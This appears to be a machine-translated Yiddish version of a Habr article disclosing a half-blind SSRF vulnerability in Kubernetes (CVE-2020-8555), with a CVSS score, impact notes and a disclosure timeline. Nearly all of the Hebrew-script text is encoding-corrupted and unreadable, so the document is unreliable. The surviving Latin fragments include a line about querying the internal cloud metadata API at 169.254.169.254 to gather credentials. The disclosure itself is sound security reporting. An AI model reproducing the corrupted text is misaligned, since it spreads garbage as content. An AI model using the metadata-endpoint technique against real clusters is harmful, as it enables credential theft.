ืืึธืก ืืื ืืขืืืขื ืืื ืืืขืจ ืืขืจืกื ืขืคืขืงืืืื "ืืขืงืขืื" ืืื ืื ืคืจืืืืืืขืจืง ืคืื ืืขืจืืืืึทื ืคืื ืืึทืืจืืฃ.
ืืื ืืขื ืฆืืืึทื ื, ืืืจ ืืขื ืขื ืืืืืืช ืฆื ืืืจืืคืืจื ืขืืืขืืข ืคืื โโโโืื ืคืืืืขื ืืข ืื ืคืืื ืืืืฃ ืงืืึทืกืืขืจื ืคืื ืคืึทืจืฉืืื ืืขืจืืื ืง8ืก ืคึผืจืึทืืืืืืขืจื: ืคึผืจืืืืืืขืืืข ืขืกืงืึทืืืจืื ื ืืื ืงืจืึทืืขื ืืฉืึทืื ืืืืฃ ืืขืืึทืืึทืืึท ืื ืกืืึทื ืกืื, Master DoS ืืืจื (ืึทื ืขื ืงืจืืคึผืืื) ืืืืคึผ ืจืืงืืืขืก ืืืืฃ ืขืืง ืืขื ืื ืกืืึทื ืกืื, ืขืืง.
ืึทืคืืขืจืืึทืื
ืืื ืืขืจ ืืึทืึทืืืขืจ ืืขืจืงืืขืจืื ื ืคืื Kubernetes ืืืขืื ืื SSRF ืืืึทืื ืขืจืึทืืืืืื ืืืึธืก ืืืจ ืืืกืงืึทืืืขืจื, ืขืก ืืื ืืขืืืขื ืจืืืืึทื CVSS 6.3/10: CVSS:3.0/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:N/A:N. ืืืื ืืืจ ืืึทืืจืึทืืื ืืืืื ืื ืืืึทืื ืขืจืึทืืืืืื ืคึฟืึทืจืืื ืื ืืื ืื Kubernetes ืคึผืขืจืืืขืืขืจ, ืื ืึธืจื ืืืขืืงืืึทื ืืืขืงืืึธืจ (ืืื ืืืจืืื ืืืขืงืืึธืจ) ืขืก ืงืืืึทืืึทืคืืื ืืื ืืึธืจื ืื.
ืึธืืขืจ, ืึทืกืกืขืกืกืื ื ืื ืืขืืืขื ืงืึทื ืกืึทืงืืืขื ืกืึทื ืืื ืืขื ืงืึธื ืืขืงืกื ืคืื ืึท ืืขืจืืื ืืื ืกื ืกืืืืืืข (ืืื ืืึธืก ืืื ืืขืืืขื ืื ืืขืจืกื ืืฉืืงืึทืืืข ืืืื ืคืื ืืื ืืืขืจ ืคืึธืจืฉืื ื!) ืคึผืจืึทืืคึผืืื ืืื ืื ืฆื ืจืขืงืืึทืกืกืืคื ืื ืืืึทืื ืขืจืึทืืืืืื ืืื ืึท ืฉืึทืฅ ืงืจืืืืฉ CVSS10/10 ืคึฟืึทืจ ืคืืืข ืืืกืืจืืืืึทืืขืจื.
ืื ืืขืจ ืืื ื ืึธื ืืื ืคึฟืึธืจืืึทืฆืืข ืฆื ืืขืืคึฟื ืืืจ ืคึฟืึทืจืฉืืืื ืืื ืืืขืจ ืงืึทื ืกืืืขืจืืืฉืึทื ื ืืืขื ืึทืกืกืขืกืก ืื ืคึผืึธืืขื ืฆืืขื ืืืคึผืึทืงืฅ ืืื ืืืึธืืงื ืื ืืืืืจืึทื ืืึทื ืฅ:
ืึธืจื ืืืขืืงืืึทื
- ืืืกืคืืจื ืงืึทืืึทื ืื ืจืืืึธืืืื ื ืืฆื ืงืื ื ืื ืขืจืืขื ืงืจืึทืืขื ืืฉืึทืื.
- ืจืขืคึผืจืึธืืืฆืืจื ืื ืืืืื ืกืฆืขื ืึทืจ ืืื ืื IDOR (ืื ืกืขืงืืจืข ืืืจืขืงื ืึธืืืืฉืขืงื ืจืขืคืขืจืขื ืฅ) ืืืคึฟื ืืื ืื ืืขืจืข ืจืขืกืืจืกื ืืขืคึฟืื ืขื ืืืืฃ ืื ืืืืข ื ืขืฅ.
ืืื ืืืืขืจืงืืื
- ืึทืืึทืง ืืืคึผ
ืืึทืืขืจืึทื ืืึทืืืขืืื ื ืืึทื ืง ืฆื ืื ืืืืืข ืคืื โโืืืึธืืงื ืงืจืึทืืขื ืืฉืึทืื (ืืืฉื, ืืขืืึทืืึทืืึท ืึทืคึผื). - ืงืึทืืขืงืืื ื ืืื ืคึฟืึธืจืืึทืฆืืข ืืืจื ืกืงืึทื ืื ื ืื ืืืืข ื ืขืฅ (ืืืืขืจืืึทื ืื ื ืื SSH ืืืขืจืกืืข, HTTP ืกืขืจืืืขืจ ืืืขืจืกืืข, ...).
- ืงืืืึทืื ืืื ืคึฟืึธืจืืึทืฆืืข ืืื ืื ืคืจืึทืกืืจืึทืงืืฉืขืจ ืืื ืคึฟืึธืจืืึทืฆืืข ืืืจื ืคึผืึธืืืื ื ืื ืขืจืืขื ืึทืคึผืืก ืึทืืึท ืืื ืืขืืึทืืึทืืึท ืึทืคึผื (
http://169.254.169.254
,โฆ). - ืกืืืืื ื ืงืื ื ืืึทืื ื ืืฆื ืืืึธืืงื ืงืจืึทืืขื ืืฉืึทืื.
Availability
ืื ืืืืืจืข ืกืื ืขืจืืึธืื ืฉืืึทืืืช ืฆื ืืึทืคืึทืื ืืืขืงืืึธืจืก ืืืืฃ ืึธืจื ืืืขืืงืืึทื, ืงืขื ืขื ืืืขืจื ืืขื ืืฆื ืคึฟืึทืจ ืืขืกืืจืืงืืืืืข ืึทืงืฉืึทื ื ืืื ืคืืจื ืฆื ืืึทืกืืขืจื ืื ืกืืึทื ืกืื ืคืื ืืขื ืงืืืขื ื ืคึผืขืจืืืขืืขืจ (ืึธืืขืจ ืงืืื ืื ืืขืจืข) ืืืึทืขื ืืืง ืึทื ืึทืืืืืืึทืืึทื.
ืืื ื ืืืจ ืืขื ืขื ืืขืืืขื ืืื ืึท ืืขืจืืื K8 ืก ืกืืืืืืข ืืื ืึทืกืกืขืกืก ืื ืคึผืจืึทื ืืืืฃ ืึธืจื ืืืขืืงืืึทื, ืืืจ ืงืขื ืขื ืืืึทืืืฉืึทื ืคืืืข ืกืื ืขืจืืึธืื ืืืึธืก ืงืขื ืคึผืจืึทื ืึทืืืืืืึทืืืืึทืื. ื ืึธื ืืืืฉืคืืื ืึทืจืืึทื ื ืขืืขื ืงืึธืจืืคึผืฆืืข ืคืื โโืื ืขืืง ืืึทืืึทืืืืก ืึธืืขืจ ืืึทืื ืึท ืงืจืืืืฉ ืจืืคื ืฆื ืื Kubernetes API.
ืืืืืืืื
- 6 ืืขืฆืขืืืขืจ 2019: ืืืึทืื ืขืจืึทืืืืืื ืืขืืืืื ืฆื MSRC Bug Bounty.
- 3 ืืื ืืืจ 2020: ื ืืจืื ืคึผืึทืจืืื ืื ืคืึธืจืื Kubernetes ืืขืืืขืืึธืคึผืขืจืก ืึทื ืืืจ ืึทืจืืขืื ืืืืฃ ืึท ืืืืขืจืืืื ืึทืจืืืกืืขืื. ืืื ืืขืืขืื ืืื ืฆื ืืึทืืจืึทืืื SSRF ืืื ืึทื ืื ืขืจืืขื (ืืื-ืืึทืจืฅ) ืืืึทืื ืขืจืึทืืืืืื. ืืขืจื ืึธื ืืืจ ืฆืืืขืฉืืขืื ืึท ืืขื ืขืจืึทื ืืึทืจืืื ืืื ืืขืื ืืฉ ืืขืืึทืืืก ืืืขืื ืื ืืงืืจ ืคืื ืืขื ืคึผืจืึธืืืขื.
- 15 ืืื ืืืจ 2020: ืืืจ ืฆืืืขืฉืืขืื ืืขืื ืืฉ ืืื ืึทืืืขืืืื ืจืืคึผืึธืจืฅ ืฆื Kubernetes ืืขืืืขืืึธืคึผืขืจืก ืืืืฃ ืืืืขืจ ืืงืฉื (ืืืจื ืื HackerOne ืคึผืืึทืืคืึธืจืืข).
- 15 ืืื ืืืจ 2020: ืงืืืขืจื ืขืืขืก ืืขืืืขืืึธืคึผืขืจืก ื ืึธืืืึทืคืืื ืืื ืื ืึทื ืืึทืื-ืืืื ื SSRF + CRLF ืื ืืืฉืขืงืฉืึทื ืคึฟืึทืจ ืคืึทืจืืึทื ืืขื ืืืื ืจืืืืกืื ืืื ืืขืืืืื ืึทื ืืื-ืืึทืจืฅ ืืืึทืื ืขืจืึทืืืืืื. ืืืจ ืืื ืคืืจืฉืืืคื ืึทื ืึทืืืืืื ื ืื ืคึผืขืจืืืึทืืขืจื ืคืื ืื ืืขืจืข ืกืขืจืืืืก ืคึผืจืึทืืืืืืขืจื: ืื K8s ืืึทื ืฉืึทืคึฟื ืืื ืืืฆื ืืึทื ืืืื ื ืืื ืื ืืืึธืจืฆื ืืจืื ื.
- 15 ืืื ืืืจ 2020: MSRC ืืึทืืืื ืื ื ืืืงืืืขื ืืืจื HackerOne.
- 16 ืืื ืืืจ 2020: Kubernetes PSC (ืคึผืจืึธืืืงื ืืืืขืจืืืื ืงืึทืืืื) ืื ืขืจืงืขื ื ืื ืืืึทืื ืขืจืึทืืืืืื ืืื ืืขืืขืื ืฆื ืืึทืืื ืขืก ืกืื ืืื ืืืื ืืึทืจืฅ ืจืขืื ืฆื ืืขืจ ืืจืืืก ื ืืืขืจ ืคืื ืคึผืึธืืขื ืฆืืขื ืืืืงืืืืก.
- 11 ืคืขืืจืืืจ 2020: Google VRP ืืึทืืืื ืื ื ืืืงืืืขื.
- 4 ืืขืจืฅ 2020: Kubernetes ืืึทืืืื ืื ื ืืืงืืืขื ืืืจื HackerOne.
- 15 ืืขืจืฅ 2020: ืึธืจืืืื ืึทืืื ืกืงืขืืืฉืืื ืขืคื ืืืขื ืึทื ืืคึผืืขืงืื ื ืคึผืึธืืกืืคึผืึธืื ื ืจืขืื ืฆื ืืขืจ COVID-19 ืกืืืืึทืฆืืข.
- ืืื ื 1, 2020: Kubernetes + Microsoft ืฉืืึธืก ืืขืจืงืืขืจืื ื ืืืขืื ืื ืืืึทืื ืขืจืึทืืืืืื.
ืื; ืืจ
- ืืืจ ืืจืื ืงืขื ืืืจ ืืื ืขืกื ืคึผืืฆืข :)
- ืืืจ ืืืกืงืึทืืืขืจื ืึทื ืืื-ืืึทืจืฅ ืืืึทืื ืขืจืึทืืืืืื ืืื Kubernetes, ืืึธืืฉ ืืืจ ืืึธืื ืงืืื ืืืื ื ืฆื ืืึธื ืืึธืก.
- ืืืจ ืืึธืื ืืืจืืืขืงืึธืื ื ืึธื ืึทื ืึทืืืกืืก ืืืืฃ ืงืืึทืกืืขืจื ืคืื ืคืึทืจืฉืืืขื ืข ืืืึธืืงื ืคึผืจืึทืืืืืืขืจื ืืื ืืขื ืขื ืืืืืืช ืฆื ืคืึทืจืืจืขืกืขืจื ืื ืฉืขืืืงื ืืขืคึฟืืจื ืืืจื ืื ืืืึทืื ืขืจืึทืืืืืื ืฆื ืืึทืงืืืขื ื ืึธื ืึธืกืึทื ืืึธื ืืกืขืก.
- ืืืจ ืืืขื ืืขืคึฟืื ืขื ืึท ืคึผืืึทืฅ ืคืื ืืขืื ืืฉ ืืขืืึทืืืก ืืื ืืขื ืึทืจืืืงื. ืืืจ ืืืึธืื ืืืื ืฆืืคืจืืื ืฆื ืืืกืงืืืืจื ืืื ืืื ืืืจ (ืืืืืืขืจ:
@ReeverZax &@__ืืืืฉ_ ). - ืกืณืืึธื ืืื ืึทืจืืืกืืขืืืืื, ืึทื ืึทืืขืจืืื ืคืึธืจืืึทืืืืขืื ืืื ืจืขืคึผืึธืจืืึทืืฉ ืืึธื ืืขืืืืขืจื ืคืื ืืขืจ ืืื ืืขืจืืืึทืจื.
ืจืขืคึฟืขืจืขื ืฆื
-
ืืืื ืืจืืคึผืข kubernetes-security-ืืขืืื ; -
CVE-2020-8555 ; -
ืืึธืืึทื ื ืึทืจืืืกืืขืื #30794 ; -
heketi/client/api/go-client/volume.go .
ืคึผืก ืคืื ืืืืขืจืืขืฆืขืจ
ืืืืขื ืขื ืืืื ืืืืฃ ืืื ืืืขืจ ืืืึธื:
- ยซ
Kubernetes ืืฉืืง ืืืื ืึทืฃ ืืื ืึทืคืืฉืึทืื ืึธืคื "; - ยซ
ืึทืจืืืกืืึทื ื ืึท ืคึผืึธื ืืื Kubernetes ืืืจื ืืึทืื ืืื ื ืืึธืืก "; - ยซ
33+ Kubernetes ืืืืขืจืืืื ืืืฉืืจืื '.
ืืงืืจ: www.habr.com